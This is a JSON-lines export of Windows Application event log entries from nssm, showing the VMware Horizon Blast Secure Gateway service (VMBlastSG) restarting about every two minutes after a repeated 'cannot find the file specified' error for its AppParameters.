{"@timestamp":1646799434610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164808}}
{"@timestamp":1646799434611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162452","0"]}}},"module":"Application","provider":"nssm","sequence":164809}}
{"@timestamp":1646799434612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162452","162452","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164810}}
{"@timestamp":1646799434629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164811}}
{"@timestamp":1646799434629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164812}}
{"@timestamp":1646799434630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164813}}
{"@timestamp":1646799434631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164814}}
{"@timestamp":1646799563095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164815}}
{"@timestamp":1646799563096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164816}}
{"@timestamp":1646799563098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161996","0"]}}},"module":"Application","provider":"nssm","sequence":164817}}
{"@timestamp":1646799563099,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161996","161996","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164818}}
{"@timestamp":1646799563115,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164819}}
{"@timestamp":1646799563115,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164820}}
{"@timestamp":1646799563116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164821}}
{"@timestamp":1646799563117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164822}}
{"@timestamp":1646799691597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164823}}
{"@timestamp":1646799691600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164824}}
{"@timestamp":1646799691600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158928","0"]}}},"module":"Application","provider":"nssm","sequence":164825}}
{"@timestamp":1646799691601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158928","158928","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164826}}
{"@timestamp":1646799691618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164827}}
{"@timestamp":1646799691619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164828}}
{"@timestamp":1646799691620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164829}}
{"@timestamp":1646799691620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164830}}
{"@timestamp":1646799820111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164831}}
{"@timestamp":1646799820112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164832}}
{"@timestamp":1646799820113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162808","0"]}}},"module":"Application","provider":"nssm","sequence":164833}}
{"@timestamp":1646799820113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162808","162808","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164834}}
{"@timestamp":1646799820135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164835}}
{"@timestamp":1646799820135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164836}}
{"@timestamp":1646799820136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164837}}
{"@timestamp":1646799820137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164838}}
{"@timestamp":1646799948745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164839}}
{"@timestamp":1646799948745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164840}}
{"@timestamp":1646799948745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161688","0"]}}},"module":"Application","provider":"nssm","sequence":164841}}
{"@timestamp":1646799948746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161688","161688","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164842}}
{"@timestamp":1646799948763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164843}}
{"@timestamp":1646799948764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164844}}
{"@timestamp":1646799948764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164845}}
{"@timestamp":1646799948765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164846}}
{"@timestamp":1646800077266,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164847}}
{"@timestamp":1646800077267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164848}}
{"@timestamp":1646800077268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161808","0"]}}},"module":"Application","provider":"nssm","sequence":164849}}
{"@timestamp":1646800077268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161808","161808","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164850}}
{"@timestamp":1646800077285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164851}}
{"@timestamp":1646800077286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164852}}
{"@timestamp":1646800077286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164853}}
{"@timestamp":1646800077287,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164854}}
{"@timestamp":1646800205796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164855}}
{"@timestamp":1646800205797,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164856}}
{"@timestamp":1646800205798,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161360","0"]}}},"module":"Application","provider":"nssm","sequence":164857}}
{"@timestamp":1646800205799,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161360","161360","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164858}}
{"@timestamp":1646800205815,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164859}}
{"@timestamp":1646800205815,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164860}}
{"@timestamp":1646800205816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164861}}
{"@timestamp":1646800205817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164862}}
{"@timestamp":1646800334340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164863}}
{"@timestamp":1646800334341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164864}}
{"@timestamp":1646800334343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161084","0"]}}},"module":"Application","provider":"nssm","sequence":164865}}
{"@timestamp":1646800334344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161084","161084","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164866}}
{"@timestamp":1646800334360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164867}}
{"@timestamp":1646800334360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164868}}
{"@timestamp":1646800334361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164869}}
{"@timestamp":1646800334361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164870}}
{"@timestamp":1646800462986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164871}}
{"@timestamp":1646800462987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164872}}
{"@timestamp":1646800462987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161232","0"]}}},"module":"Application","provider":"nssm","sequence":164873}}
{"@timestamp":1646800462989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161232","161232","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164874}}
{"@timestamp":1646800463005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164875}}
{"@timestamp":1646800463005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164876}}
{"@timestamp":1646800463006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164877}}
{"@timestamp":1646800463007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164878}}
{"@timestamp":1646800591505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164879}}
{"@timestamp":1646800591506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164880}}
{"@timestamp":1646800591506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161848","0"]}}},"module":"Application","provider":"nssm","sequence":164881}}
{"@timestamp":1646800591508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161848","161848","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164882}}
{"@timestamp":1646800591525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164883}}
{"@timestamp":1646800591525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164884}}
{"@timestamp":1646800591526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164885}}
{"@timestamp":1646800591526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164886}}
{"@timestamp":1646800720116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164887}}
{"@timestamp":1646800720117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164888}}
{"@timestamp":1646800720118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162292","0"]}}},"module":"Application","provider":"nssm","sequence":164889}}
{"@timestamp":1646800720119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162292","162292","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164890}}
{"@timestamp":1646800720136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164891}}
{"@timestamp":1646800720137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164892}}
{"@timestamp":1646800720138,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164893}}
{"@timestamp":1646800720140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164894}}
{"@timestamp":1646800848626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164895}}
{"@timestamp":1646800848629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164896}}
{"@timestamp":1646800848630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162252","0"]}}},"module":"Application","provider":"nssm","sequence":164897}}
{"@timestamp":1646800848631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162252","162252","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164898}}
{"@timestamp":1646800848649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164899}}
{"@timestamp":1646800848650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164900}}
{"@timestamp":1646800848650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164901}}
{"@timestamp":1646800848651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164902}}
{"@timestamp":1646800977130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164903}}
{"@timestamp":1646800977131,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164904}}
{"@timestamp":1646800977132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161816","0"]}}},"module":"Application","provider":"nssm","sequence":164905}}
{"@timestamp":1646800977132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161816","161816","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164906}}
{"@timestamp":1646800977150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164907}}
{"@timestamp":1646800977150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164908}}
{"@timestamp":1646800977151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164909}}
{"@timestamp":1646800977152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164910}}
{"@timestamp":1646801105627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164911}}
{"@timestamp":1646801105628,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164912}}
